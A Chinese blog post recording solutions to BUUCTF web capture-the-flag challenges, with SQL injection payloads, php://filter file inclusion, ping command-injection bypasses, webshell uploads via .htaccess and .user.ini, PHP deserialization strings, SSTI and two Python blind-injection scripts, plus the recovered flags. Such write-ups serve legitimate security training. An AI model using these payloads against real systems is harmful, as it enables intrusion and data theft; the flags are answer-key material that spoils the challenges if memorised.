BUU刷题记录-第一页【WEB】 | 风尘孤狼
0%

BUU刷题记录-第一页【WEB】

BUU-WEB关刷题记录

[极客大挑战 2019]EasySQL

image-20230708112307846

引号会报错,存在SQL注入,直接万能密码登录

admin' or 1=1#

image-20230708113603021

flag{55cc161c-7d6e-4d13-b9c3-84f6c109fccc}

[极客大挑战 2019]Havefun

源码泄露,构造传参得到flag

image-20230708113739999

image-20230708113806429

flag{3f02ad1c-8db0-4b42-9c46-ffe5876ce9eb}

[HCTF 2018]WarmUp

访问该路径得到源码
<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

文件包含读取hint.php

image-20230708114107864

然后先代码审计,file传参点三次判断是不是空或者是不是字符串,然后又进checkFile函数进行判断

mb_substr(str,start,length,encoding):返回从start位置开始的长度为length的字符串

mb_strpos(str,find_str,offset,encoding):返回str中从offset(默认为0)开始第一次出现find_str的位置

urlcode():对其传入的str参数进行str解码

在第一次$_page取的是从0开始到第一次出现问号之间的字符串,所以我们在参数中传入一个?绕过白名单

image-20230708115001451

读取ffffllllaaaagggg

image-20230708115049936

flag{af9b1bcf-2cef-4b10-8942-746ef68e6b29}

[ACTF2020 新生赛]Include

文件包含,直接用伪协议读取

image-20230708115150351

flag.php文件用base64编码输出

php://filter/read=convert.base64-encode/resource=index.php

源码内容也看一下

<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
   exit('hacker!');
}
if($file){
   include($file);
}else{
   echo '<a href="?file=flag.php">tips</a>';
}
?>
<?php
echo "Can you find out the flag?";
//flag{3a17fdad-fda2-4664-90ee-0c904b1f30e5}

[ACTF2020 新生赛]Exec

ping导致的RCE,直接管道符或者分号分割

image-20230708115607387

flag{7a25cfaf-46c7-4035-b77f-02761cb0e2f1}

[GXYCTF2019]Ping Ping Ping

同上

不过是过滤空格,绕过方法有很多

$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能
%20 
%09

image-20230708120519500

|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>

过滤了flag字符,没有过滤反引号,所以可以将ls的内容cat出来

?ip=127.0.0.1||nl$IFS$1ls

image-20230708120832098

也可以用变量覆盖,但是必须用分号分割,管道符不行,具体原因不知道为啥

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

image-20230708121212391

flag{d3e9485d-37cb-4408-b798-17e6766835ff}

[强网杯 2019]随便注

image-20230708121259793

SQL注入,SQLMAP一把梭不出来

image-20230708121403596

手注方法在这里也都总结一下几个吧,有看到其他师傅写的文章多个解法

法一

1’ or 1=1

报错

image-20230708121828823

1’ or 1=1#

这样就不报错了,成功输出了该表的所有数据

image-20230708121847095

先判断一下其他表吧,首先判断一下字段个数

1’ union select 1,2;#

存在过滤

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

用堆叠注入绕过关键字select

1’;show databases;#

image-20230708122205517

1’;show tables;#

image-20230708122322009

然后就是不用select语句如何查表,两种方法

方式一:1'; show columns from tableName;#

方式二:1';desc tableName;#

注意,如果tableName是纯数字,需要用包裹,比如1’;desc 1919810931114514;#`

1’; show columns from 1919810931114514;#

image-20230708122543734

看到有flag,通过预编译的方法拼接select关键字、

1’;PREPARE hacker from concat(‘s’,‘elect’, ’ * from 1919810931114514 ');EXECUTE hacker;#

image-20230708122633071

flag{91001bd0-9996-4f51-a00d-1a211940fa08}

法二

其实就是在第一次遇到select的时候就预编译

直接将select * from 1919810931114514这句话转成hex

73656c656374202a2066726f6d20603139313938313039333131313435313460

然后预编译替换一下即可

1';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker;#

也可以先定义一个变量并将sql语句初始化,然后调用

1';Set @jia = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @jia;EXECUTE hacker;#

[SUCTF 2019]EasySQL

FUZZ一下,过滤了from、union、extractvalue、PREPARE,sleep函数也过滤了

猜测一下后端代码

select $_POST['query'] || flag from flag

那我们直接query=*,1就拼接可以输出全部字段

image-20230708123430157

为什么要加1呢?

select 1 from flag的意思其实是建立一个临时列,这个列的所有初始值都被设为1

flag{98c88520-68e1-4715-b929-17503e78bf5e}

[极客大挑战 2019]Secret File

抓包得到一个路径

image-20230708123811151

image-20230708123828053

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

一眼顶针,文件包含

image-20230708123904377

同样base64输出结果

image-20230708124028238

解码得到flag

<!DOCTYPE html>

<html>

    <head>
        <meta charset="utf-8">
        <title>FLAG</title>
    </head>

    <body style="background-color:black;"><br><br><br><br><br><br>
        
        <h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
        
        <p style="font-family:arial;color:red;font-size:20px;text-align:center;">
            <?php
                echo "我就在这里";
                $flag = 'flag{e007ea8b-2f4a-4e27-9c2b-d6a2f21084f0}';
                $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
            ?>
        </p>
    </body>

</html>

[极客大挑战 2019]LoveSQL

admin’ || 1=1#

万能密码登录

image-20230709174032686

这个密码解不出来,继续SQL注入

/check.php?username=admin' order by 3%23&password=1     成功
/check.php?username=admin' order by 4%23&password=1     报错
image-20230709174213640

即存在三个字段,再用union查询

?username=1' union select 1,2,3%23&password=1
image-20230709174308631

回显点位为2和3,查询当前数据库名及版本

?username=1' union select 1,database(),version()%23&password=1
image-20230709174345198

然后爆表

?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
image-20230709174442360

l0ve1ysq1表的字段

?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
image-20230709174535958

最后爆数据

?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

得到flag

image-20230709174627638

flag{df345fc8-1dc2-4e10-83dc-f02a82543e86}

[极客大挑战 2019]Http

image-20230709174903873

访问

image-20230709174920476

貌似到这里就知道了,考察报文头

构造一下得到flag

image-20230709175037105

flag{3f49a3e0-6b20-470d-86a3-6234bdaf2e30}

[极客大挑战 2019]Knife

就命令执行即可

Syc=system('cat /f*');
image-20230709175208261

flag{4473e7cb-6633-4007-a894-a9b83a76eb2c}

[极客大挑战 2019]Upload

文件上传,过滤了<?

image-20230709175311703

同时也不让上传PHP文件,用phtml绕过,内容用文件幻术头

image-20230709175854042 image-20230709175921978

flag{6906835c-3905-43a7-a58f-4a49fa39939c}

[ACTF2020 新生赛]Upload

同上,前端校验绕过即可

image-20230709184025706

flag{090eb440-226c-4e3a-be5a-44480c1a9565}

[极客大挑战 2019]BabySQL

加了部分黑名单

直接用上面的方法是不行的了,首先就是order中的or字符被过滤,by也被过滤,union select也都被过滤

用双写绕过试试

?username=1'ununionion%20seselectlect%201,2,3%23&password=1

还是三段

image-20230709185021211

剩下的基本同上一题

?username=1' union select 1,database(),version()%23&password=1

然后继续用的那个语句的information和from都被过滤了

继续双写绕过

?username=1'ununionion seselectlect 1,2,group_concat(schema_name) ffromrom infoorrmation_schema.schemata%23&password=1
image-20230709190248815

继续查询表名

username=1%27%20ununionion%20seselectlect%201,2,group_concat(table_name)%20frfromom%20infoorrmation_schema.tables%20whwhereere%20table_schema=%27ctf%27%23&password=1
image-20230709190436772

查询flag表中字段名

username=1’ ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag#&password=1
image-20230709190643569

flag{386102b8-b5d4-42a6-86da-e3c75ce13609}

[极客大挑战 2019]PHP

image-20230709190746975

备份文件泄露,直接扫一下就行–www.zip

反序列化

image-20230709191056585

传参点select

image-20230709191123197

私有变量需要在类名和字段名前面%00包括一下,同时绕过wakeup函数

这里用py发包的话%00- >\0代替

<?php

class Name{
    private $username = 'admin';
    private $password = '100';

    }            
$hzy = new Name();
echo serialize($hzy);
//O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

?>
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
image-20230709191925585

[ACTF2020 新生赛]BackupFile

image-20230709192613670

看这样子是又让找源码/index.php.bak,源码如下

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
    echo $flag;
}

}
else {
    echo "Try to find out source file!";
}

== 是弱类型比较,所以直接给三位比较即可

image-20230709193247099

flag{fa3c66d0-5e85-47b6-87f4-24cb21302c45}

[RoarCTF 2019]Easy Calc

计算数学题

image-20230709193608312

看源码

image-20230709193624002

不能传字母符号,只能传数字,但是可以利用PHP字符串解析来绕过,首先先在传参点前面空格一下,然后直接用函数进行读取

num=print_r(scandir('/'));

但是/也被waf了,可以用chr函数进行绕过

chr(47)=‘/’

/calc.php?%20num=print_r(scandir(chr(47)));

image-20230709194009363

然后调用file_get_contents函数读flag

num=print_r(file_get_contents('/flagg'));

还是得绕,同样是chr函数

num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));
image-20230709194144834

flag{a483f53a-b536-4606-9bf3-7e18c865aa04}

[极客大挑战 2019]BuyFlag

image-20230709194325420

看下源码

image-20230709194349423

这个cookie先改一下

image-20230709194535018

这里money需要用科学计数法,密码要求不能是纯数字,但是若比较所以加个字母就行

image-20230709194920797

flag{c2eb3989-b1ea-4efe-bb16-71d92127a221}

[BJDCTF2020]Easy MD5

这个题打开就是这个页面,输了传参没啥反应

image-20230712213018022

看报文头发现hint

image-20230712213416917

select * from 'admin' where password=md5($pass,true)

SQL注入,需要绕过这个md5函数

image-20230712213848862

WP中构造这个SQL语句的永真用的是ffifdyop这个字符

原因是

1、ffifdyop,这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6,而 Mysql 刚好又会吧 hex 转成 ascii 解释

2、ffifdyop,该字符串md5加密后若raw参数为True时会返回 'or’6 (其实就是一些乱码和不可见字符,这里只要第一位是非零数字即可被判定为True,后面的会在MySQL将其转换成整型比较时丢掉)

所以传参ffifdyop即可绕过

image-20230712214432172

源码
<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

这个又是hash弱比较绕过,即本身不相等,hash相等,直接数组绕过即可

也可以0e绕过,在这里放几个

  • 以下是一些字符串md5值以0e开头
    QNKCDZO
    240610708
    s878926199a
    s155964671a
    s21587387a
image-20230712214552201

进入下一个

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

这里用到了强比较类型,继续用数组即可

image-20230712214757244

flag{e4d6615d-0413-4867-994d-9840fa3b61a6}

[护网杯 2018]easy_tornado

image-20230713170157911
/flag.txt    ->  /flag.txt  flag in /fllllllllllllag
/welcome.txt  -> /welcome.txt   render
/hints.txt    ->  /hints.txt    md5(cookie_secret+md5(filename))

在看这三个路由的时候也能发现传参会多个hash,而hints.txt里面的应该就是生成hash的方法

image-20230713170348613

render()函数是Django中的渲染,基本漏洞发生在ssti上

tornado.web.Application对象初始化赋予cookie_secret参数,用于保存本网站cookies加密密钥

然后又说了flag在/fllllllllllllag,那可以构造一下md5(filename) --> 3bf9f6cf685a6dd8defadabfb41a03a1

这个时候还需要找一下cookie_secret,SSTI

修改hash会跳转到error,构造SSTI

image-20230713171059195

‘cookie_secret’: ‘3ad41e36-78b4-446d-9b98-640695a0beca’

这个时候构造一下就可以读取flag文件了

3ad41e36-78b4-446d-9b98-640695a0beca3bf9f6cf685a6dd8defadabfb41a03a1 ->4f405061250b0d017fc3382e65c96b90

image-20230713171256995

flag{6c8e26de-863e-4482-84de-a57dbbd435ac}

[HCTF 2018]admin

image-20230713171722268

有登录和注册功能,看注释应该就是要成为admin用户

image-20230713171817638

同时注释还给了个地址,应该是源码

image-20230713171932166

这个源码路径已经失效了,看了其他师傅的WP,大致就是session伪造,源码里面给了key

SECRET_KEY = os.environ.get(‘SECRET_KEY’) or ‘ckj123’

伪造一下,替换cookie即可得到flag

image-20230713173157375

flag{818a9e36-4b6b-4ad8-9c4b-0e204762c60d}

还有一种方法是unicode欺骗

ᴬᴰᴹᴵᴺ -> ADMIN -> admin

用ᴬᴰᴹᴵᴺ注册一下然后修改密码就可以把原来admin的密码覆盖掉

[MRCTF2020]你传你🐎呢

image-20230713210623341

文件上传功能,尝试传一个文件抓包看看

image-20230713210927206

过滤了后缀,覆盖配置文件绕过

image-20230713211050139

然后上传马子

image-20230713211147974

过滤了执行系统命令的函数

image-20230713211359130

蚁剑连接得到flag

image-20230713211650932

flag{62937381-ac4e-456c-b45d-d27360e307f1}

[ZJCTF 2019]NiZhuanSiWei

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

首先第一层是验证file_get_contents($text,‘r’)===“welcome to the zjctf”),用data协议写进去内容即可绕过

?text=data://text/plain,welcome to the zjctf

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= 对于其他题目存在过滤的,base64传参更好
image-20230713212740950

但是文件包含是不能直接读取flag的,读一下注释的那个路径看一下

php://filter/read=convert.base64-encode/resource=useless.php

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

任意文件读,本地序列化一下,最终payload如下

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

flag{63e584de-9a82-4638-a2a6-ff445b827fa5}

[极客大挑战 2019]HardSQL

又是SQL注入

image-20230713213608925

空格被过滤,/**/也不能绕过

image-20230713213705862

还有一种绕过空格的方法是括号

括号是来包含子查询的,任何可以计算出结果的语句都可以用括号围起来,而括号的两端,可以没有多余的空格

?username=admin'(or)#&password=1 -->?username=admin%27%28or%29%23&password=1
image-20230713214106006

报错,说明绕过去了,报错注入,用updatexml

数据库

admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
image-20230713214221710

查表名

admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#
image-20230713214339238

查列名

admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
image-20230713214457475

读字段

admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))#
image-20230713214546637

还有右半部分的半个flag,从右边读

admin'or(updatexml(1%2Cconcat(0x7e%2C(select(right(password%2C10))from(H4rDsq1))%2C0x7e)%2C1))%23
image-20230713214929261

flag{e466e316-d3b4-4b7b-a919-aba68a3c0dcd}

[MRCTF2020]Ez_bypass

源码


I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

gg和id的hash得相等并且明文不能相等,数组绕即可

然后passwd这个参数要求不是数字还得是1234567,弱比较绕过,最后加个a即可

image-20230713215233865

flag{15015a22-c765-42a2-b0af-3ed8db8ca3f2}

is_numeric函数绕过利用的PHP弱类型比较,不同类型比较之前会先将其转换为相同类型再进行比较,即1234567a先转换成1234567之后再比较,即True

[网鼎杯 2020 青龙组]AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

首先is_valid函数限制ascii值在32-125之间了,为啥这样防,是因为上面有protected属性,而在序列化后需要用到\00*\00这样的不可见字符,防的就是这里

绕过方法

php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符

其次destruct方法将op强比较,写死了,但是在process函数中弱比较

绕过方法

在process方法里面置public属性的op为2,弱比较绕过防止置为1

<?php


class FileHandler
{

    public $op = 2;
    public $filename = "flag.php";
    public $content='6';


}
$h =new FileHandler();
echo serialize($h);
//O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"6";}
image-20230713221958635

flag{06ca90b2-3dd1-4d59-8c7e-ccf2a2c1322d}

[SUCTF 2019]CheckIn

文件上传

image-20230713222104134

过滤了<?

image-20230713222245053

可以用前端代码来代替

image-20230713222800177

配置文件.user.ini上传覆盖

image-20230713222901230 image-20230713223305550

flag{600cc5e5-4340-43a7-a1a5-4e6fef69d263}

[GXYCTF2019]BabyUpload

还是文件上传

先上传配置文件.htaccess

image-20230713223731119

然后上传马即可得到flag

image-20230713224304863

蚁剑连接

flag{2f09c24c-aba8-4c66-ba8e-1aba848138f0}

[GXYCTF2019]BabySQli

SQli的SQL注入

image-20230713224509149

插入万能密码之后显示hack me,显然被过滤了

image-20230713224611875

注释里面有SQL语句

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
select * from user where username = '$name'

sqli的特性:在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据

所以根据这个特性,使用联合查询访问,一个真实存在的用户名和编造的密码,就会使虚拟数据混淆admin密码,从而使我们成功登录

这是题目源码

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";

// 去除转义
if (get_magic_quotes_gpc()) {
   function stripslashes_deep($value)
   {
      $value = is_array($value) ?
      array_map('stripslashes_deep', $value) :
      stripslashes($value);
      return $value;
   }

   $_POST = array_map('stripslashes_deep', $_POST);
   $_GET = array_map('stripslashes_deep', $_GET);
   $_COOKIE = array_map('stripslashes_deep', $_COOKIE);
   $_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}

mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);


if(preg_match("/\(|\)|\=|or/", $name)){
   die("do not hack me!");
}
else{
   if (!$result) {
      printf("Error: %s\n", mysqli_error($con));
      exit();
   }
   else{
      // echo '<pre>';
      $arr = mysqli_fetch_row($result);
      // print_r($arr);
      if($arr[1] == "admin"){
         if(md5($password) == $arr[2]){
            echo $flag;
         }
         else{
            die("wrong pass!");
         }
      }
      else{
         die("wrong user!");
      }
   }
}

?>

看最后输出flag条件是密码md5编码,所以构造一下即可混淆,成功登录

1' union select 1,'admin','e24224276c57a23effa51a2cf9b72b10'-- q&pw=guli
image-20230713225529146

flag{458c6b03-2c7d-4b70-b193-d255992a3966}

[GYCTF2020]Blacklist

又是SQL注入

image-20230713225643495 image-20230713225715015

加个引号就报错,但是报错注入行不通

堆叠注入能获取俩表

1'; show tables; #
image-20230713230120369

handler注入

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
image-20230713225841188

知识补充

Handler语法
handler语句,一行一行的浏览一个表中的数据

handler语句并不具备select语句的所有功能。

mysql专用的语句,并没有包含到SQL标准中。
HANDLER语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。

1、HANDLER tbl_name OPEN

打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。

2、HANDLER tbl_name READ FIRST

获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。

3、HANDLER tbl_name CLOSE

关闭打开的句柄。

4、HANDLER tbl_name READ index_name = value

通过索引列指定一个值,可以指定从哪一行开始,通过NEXT继续浏览

flag{0f3fb8c0-cb83-4a66-908f-5d784ebf7171}

[CISCN2019 华北赛区 Day2 Web1]Hack World

  • PHP
  • SQL注入

过滤了很多字符,用括号代替空格,知道表名和库名,直接查字段即可

(select(ascii(mid(flag,1,1))=100)from(flag))

是盲注,总之就是如果成立就会显示Hello, glzjin wants a girlfriend. ,不成立就是显示其他的,自动化脚本借鉴其他师傅的,如下

import requests
import string

def blind_injection(url):
   flag = ''
   strings = string.printable
   for num in range(1,60):
      for i in strings:
         payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i))
         post_data = {"id":payload}
         res = requests.post(url=url,data=post_data)
         if 'Hello' in res.text:
            flag += i
            print(flag)
         else:
            continue
   print(flag)


if __name__ == '__main__':
   url = 'http://64368c9f-dd87-4c49-b9a1-d4b82e98c87a.node3.buuoj.cn/index.php'
   blind_injection(url)

然后这里通过其他师傅的脚本也发现了个点,string库的strings = string.printable即全部可打印字符,之前还都是写个字典来写脚本,现在这样就更方便了

SQL中空格的过滤可以用%09 %0a %0b %0c %0d /**/ /*!*/或者直接tab等等进行绕过

该说不说,这个盲注是最费时间的,跑了将近俩小时才出来全部结果,晚上写的这题,跑完已经凌晨两点了

image-20230714013524073

flag{633872d2-16bd-4d91-9fa8-114339c482d8}

还有另外师傅写的二分法的脚本【采用二分法速度快很多】

import requests
import time

url = "http://6c80439c-23e1-4c78-ad78-d2ee93ad2817.node4.buuoj.cn:81/index.php"
payload = {
   "id" : ""
}
result = ""
for i in range(1,100):
   l = 33
   r =130
   mid = (l+r)>>1
   while(l<r):
      payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
      html = requests.post(url,data=payload)
      print(payload)
      if "Hello" in html.text:
         l = mid+1
      else:
         r = mid
      mid = (l+r)>>1
   if(chr(mid)==" "):
      break
   result = result + chr(mid)
   print(result)
print("flag: " ,result)
制作不易,如若感觉写的不错,欢迎打赏